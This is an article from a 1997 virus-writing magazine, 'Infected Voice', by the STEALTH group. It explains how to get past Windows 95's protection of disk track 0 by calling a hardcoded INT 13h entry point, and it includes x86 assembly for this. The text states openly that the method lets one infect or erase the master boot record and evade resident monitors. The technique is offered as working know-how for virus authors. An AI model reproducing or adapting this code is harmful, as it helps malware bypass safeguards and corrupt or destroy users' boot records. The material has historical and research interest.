
      ÜÜ                  Ū
     ßßß  Virus Magazine  Ū Box 176, Kiev 210, Ukraine      IV  1997
     ßŪŪ ßßßßßßßßßßßßßßßß Ū ßßßßßßßßßßßßßßßßßßß ß ßßßßŽßßß  ŪßßßßßßŪ
      ŽŪ ŪßÜ Ūßß Üßß Üßß ÜŪÜ Üßß ŪßŪ    Ż Ū ÜßŪ Ū Üßß ŪÜÜ   Ū ßßßŪ Ū
       Ū Ū Ū Ūß  Ūß  Ū    Ū  Ūß  Ū Ū    Ū Ū Ū Ū Ū Ū   Ū     Ū ÜÜÜŪ Ū
       Ū Ž Ž Ž   ŽÜÜ ŽÜÜ  Ž  ŽÜÜ ŽÜß     ßŪ ßÜŪ Ž ŽÜÜ ŽÜÜÜ  Ū ŪÜÜÜ Ū
       Ž ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ  ŪÜÜÜÜÜÜŪ
          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
                              sgww@hotmail.com
            Digest of IV 8 - 11 russian, including Moscow issues

ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
³ Writing sectors on track 0 under Win95       ³(C) LovinGOD            ³
ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĮÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ

      There are a lot of different resident monitors and CMOS Virus
Warning option. Futhermore, Microsoft decided to take care about
track 0 in its' Win95.
        Windows'95 will not allow you to write sectors on track 0 using
INT 13h. And what makes things even worse - INT 13h handler is located in
protected memory and all attempts to trace it (with Turbo Debugger for
example) are vain (you'll be send at address 0:0). When trying to write
something on track 0 via INT 13h nothing happens. The registers are
preserved and nothing is written. There are no problems with reading.

To bypass this stupid trick use INT 13h adress that can be got when
booting in MS-DOS mode. This address is constant for all DOS 7.0
(Windows'95) versions:

                             0070:03EE


Using it you can infect MBR, erase it or store something at track 0.

This method was not tested and may not work with WinNT or OS/2.


For Win95 "compatibility" do something like following:

 XOR BH,BH                      ; Will be explaned later
 MOV AX,160A                    ; Checking Windows version
 INT 2F
 MOV 1 PTR DS:[WinVersion],BH   ; If Windows is not loaded than BH=00
                                ; (see line 1)
 OR  AX,AX                      ; If Windows is not loaded than AX
                                ; is still 160Ah
 JNZ Windows_Inactive

Except "INT 13h" call procedure "CALL INT_13"

;Calling INT 13h:

INT_13 PROC
  PUSH AX
                                ; WinVersion is build into
                                ; "MOV AL,.." for optimization
  WinVersion EQU $+1
  MOV AL,00

  CMP AL,4
  POP AX
  JNE JUST_INT13
                                ; int 13h for active Windows'95
  PUSHF
  DB 09A
  DD 007003EEh
  RETN
                                ; usual int 13h call
  JUST_INT13: INT 13
  RETN
  INT_13 ENDP